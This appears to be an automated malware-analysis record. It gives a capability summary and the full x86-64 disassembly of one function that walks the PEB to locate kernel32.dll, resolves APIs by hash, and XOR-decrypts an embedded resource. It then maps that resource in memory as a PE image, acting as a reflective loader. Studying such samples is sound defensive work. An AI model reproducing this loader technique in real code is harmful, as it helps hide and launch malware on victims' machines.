Function at 0x18000114d
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xe8
xor r13d, r13d
mov dword [rsp + 0x20], 0x5e4c6a57
mov dword [rsp + 0x24], 0x3f79423e
mov dword [rsp + 0x28], 0x50484a5e
mov dword [rsp + 0x2c], 0x493c7867
mov dword [rsp + 0x30], 0x47453e4a
lea esi, [r13 + 1]
mov dword [rsp + 0x34], 0x425e3657
mov dword [rsp + 0x38], 0x457257
mov dword [rsp + 0x40], 0x65006b
mov dword [rsp + 0x44], 0x6e0072
mov dword [rsp + 0x48], 0x6c0065
mov dword [rbp - 0x7d], 0x320033
mov dword [rbp - 0x79], 0x64002e
mov dword [rbp - 0x75], 0x6c006c
mov word [rbp - 0x71], r13w
mov edx, 0x3d090c
mov eax, r13d
lea rcx, [rbp - 0x59]
mov byte [rcx], al
add eax, esi
add rcx, rsi
cmp eax, 0x6a
jb 0x1800011ec
sub rdx, rsi
jne 0x1800011e5
cmp byte [rbp - 0x17], 0x42
jne 0x1800012c8
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rbx, qword [rcx + 0x10]
mov rdx, rbx
mov rcx, qword [rdx + 0x60]
mov r9d, r13d
mov rax, rcx
cmp word [rcx], r13w
je 0x180001238
lea rax, [rax + 2]
add r9d, esi
cmp word [rax], r13w
jne 0x18000122b
lea rax, [rsp + 0x40]
mov r8d, r13d
lea rax, [rax + 2]
add r8d, esi
cmp word [rax], r13w
jne 0x180001240
cmp r9d, r8d
jne 0x1800012b1
lea r11, [rsp + 0x40]
mov r10d, r13d
sub r11, rcx
movzx r8d, word [rcx]
mov rax, rcx
mov r9d, r13d
test r8w, r8w
je 0x1800012c2
lea rax, [rax + 2]
add r9d, esi
cmp word [rax], r13w
jne 0x18000126d
cmp r10d, r9d
jae 0x1800012c2
movzx r9d, word [r11 + rcx]
lea eax, [r8 - 0x41]
cmp ax, 0x19
ja 0x180001293
add r8w, 0x20
lea eax, [r9 - 0x41]
cmp ax, 0x19
ja 0x1800012a2
add r9w, 0x20
cmp r8w, r9w
jne 0x1800012b1
add r10d, esi
add rcx, 2
jmp 0x18000125d
mov rdx, qword [rdx]
cmp rdx, rbx
jne 0x18000121b
mov rbx, r13
jmp 0x1800012cc
mov rbx, qword [rdx + 0x30]
jmp 0x1800012cc
mov rbx, qword [rbp + 0x6f]
mov edx, 0xe3142
mov rcx, rbx
call fcn.1800016d5
mov edx, 0xd5786
mov rcx, rbx
mov rdi, rax
call fcn.1800016d5
mov edx, 0x348bfa
mov rcx, rbx
mov qword [rbp - 0x69], rax
call fcn.1800016d5
mov r15d, 0x3000
mov r12d, 0xf600
mov r9d, 4
xor ecx, ecx
mov r8d, r15d
mov edx, r12d
mov qword [rbp - 0x61], rax
call rdi
movsx r8d, byte [rbp - 0x59]
mov r10d, r13d
mov r14, rax
mov eax, 0x92f11385
imul r8d
movsx eax, byte [rbp - 0x36]
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, r8d, 0x156
mov r8d, 0x66666667
imul edx, eax
imul eax, edx, 0xe
movsxd rbx, eax
mov eax, r8d
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r8d
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r8d
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r8d
imul edx
mov eax, r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx
mov eax, r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx
mov ecx, edx
sar ecx, 1
mov eax, ecx
shr eax, 0x1f
add ecx, eax
mov eax, 0x405fd017
imul ecx
sub edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx rax, byte [rbp - 0x59]
movsxd rcx, edx
imul r9, rax, 0xd7c
imul rax, rax, 0xd7c
movabs r11, resource.1
sub r11, rax
add r9, rcx
sub r11, rcx
add r9, r14
sub r11, r14
movsxd rcx, r10d
movabs rax, 0x2492492492492493
add r10d, esi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x1c
sub rcx, rax
add rcx, rbx
mov al, byte [rsp + rcx + 0x20]
xor al, byte [r11 + r9]
mov byte [r9], al
add r9, rsi
cmp r10d, r12d
jb 0x1800013ec
movsxd rax, dword [r14 + 0x3c]
movsx r9d, byte [rbp - 0x51]
mov r8d, r15d
mov edx, dword [rax + r14 + 0x50]
shl r9d, 3
xor ecx, ecx
call rdi
mov rbx, rax
test rax, rax
je 0x1800016bd
movsxd rdi, dword [r14 + 0x3c]
mov r12, rax
mov r8d, r13d
add rdi, r14
sub r12, qword [rdi + 0x30]
mov r9d, dword [rdi + 0x54]
movzx r10d, word [rdi + 0x14]
mov qword [rbp + 0x77], r12
mov qword [rdi + 0x30], rax
test r9, r9
je 0x180001494
mov rdx, r14
mov rcx, rax
sub rdx, rax
mov al, byte [rdx + rcx]
add r8d, esi
mov byte [rcx], al
movsxd rax, r8d
add rcx, rsi
cmp rax, r9
jb 0x180001481
mov rax, qword [rdi + 0xb0]
mov rcx, qword [rdi + 0x90]
mov r15, r13
mov esi, r13d
mov qword [rbp + 0x7f], rax
cmp r13w, word [rdi + 6]
jae 0x1800016bd
lea r9, [r10 + 0x24]
mov r12d, esi
add r9, rdi
mov r10d, dword [r9]
cmp eax, r10d
jb 0x1800014d9
mov r8d, dword [r9 - 4]
add r8d, r10d
cmp eax, r8d
jae 0x1800014d9
lea r15, [r9 - 0xc]
cmp ecx, r10d
jb 0x1800014ee
mov r8d, dword [r9 - 4]
add r8d, r10d
cmp ecx, r8d
jae 0x1800014ee
lea r12, [r9 - 0xc]
mov r11d, dword [r9 + 8]
mov r13d, dword [r9 + 4]
lea r8, [rbx + r10]
add r11, r14
xor r10d, r10d
test r13, r13
je 0x18000151d
sub r11, r8
mov dl, byte [r11 + r8]
inc r10d
mov byte [r8], dl
movsxd rdx, r10d
inc r8
cmp rdx, r13
jb 0x180001508
movzx edx, word [rdi + 6]
inc esi
add r9, 0x28
cmp esi, edx
jl 0x1800014c1
test r12, r12
mov r12, qword [rbp + 0x77]
je 0x1800016bd
mov r13d, dword [rbp + 0x83]
xor edx, edx
test r13, r13
je 0x1800015f5
mov r9d, dword [r15 + 0x14]
add r9, rdx
add rdx, 8
mov r8d, dword [r9 + r14 + 4]
sub r8, 8
shr r8, 1
je 0x1800015ec
mov eax, dword [r15 + 0x14]
add rax, rdx
add rdx, 2
movzx r10d, word [rax + r14]
mov eax, 0xf000
test ax, r10w
je 0x1800015e3
mov ecx, dword [r9 + r14]
and qword [rbp + 0x6f], 0
and r10d, 0xfff
lea rax, [rbx + r10]
xor r11d, r11d
lea r10, [rbp + 0x6f]
add rcx, rax
lea rax, [rbp + 0x6f]
mov rsi, rcx
sub rsi, rax
mov al, byte [rsi + r10]
inc r11d
mov byte [r10], al
movsxd rax, r11d
inc r10
cmp rax, 8
jb 0x1800015aa
add qword [rbp + 0x6f], r12
lea r11, [rbp + 0x6f]
xor r10d, r10d
sub r11, rcx
mov al, byte [r11 + rcx]
inc r10d
mov byte [rcx], al
movsxd rax, r10d
inc rcx
cmp rax, 8
or byte [rdx - 0x15], dh
dec r8
jne 0x180001567
cmp rdx, r13
jb 0x18000154a
mov r15d, dword [rdi + 0x90]
add r15, rbx
je 0x1800016bd
add r15, 0xc
cmp dword [r15], 0
je 0x18000166c
mov r13, qword [rbp - 0x61]
mov ecx, dword [r15]
add rcx, rbx
call qword [rbp - 0x69]
mov r12, rax
test rax, rax
je 0x1800016bd
mov esi, dword [r15 + 4]
add rsi, rbx
jmp 0x18000165c
mov rax, qword [rsi]
movabs rcx, 0x8000000000000000
test rcx, rax
mov rcx, r12
je 0x18000164b
movzx edx, ax
jmp 0x180001652
lea rdx, [rax + 2]
add rdx, rbx
call r13
mov qword [rsi], rax
add rsi, 8
cmp qword [rsi], 0
jne 0x180001631
add r15, 0x14
cmp dword [r15], 0
jne 0x180001613
movsxd rax, dword [r14 + 0x3c]
cmp dword [rax + r14 + 0xd0], 0
je 0x1800016a0
mov eax, dword [rdi + 0xd0]
mov rsi, qword [rax + rbx + 0x18]
jmp 0x180001698
xor r8d, r8d
mov rcx, r14
lea edx, [r8 + 1]
call rax
lea rsi, [rsi + 8]
mov rax, qword [rsi]
test rax, rax
jne 0x180001688
mov eax, dword [rdi + 0x28]
mov rcx, qword [rbp + 0x67]
xor r8d, r8d
lea edx, [r8 + 1]
add rax, rbx
call rax
neg eax
sbb rax, rax
and rax, rbx
jmp 0x1800016bf
xor eax, eax
add rsp, 0xe8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret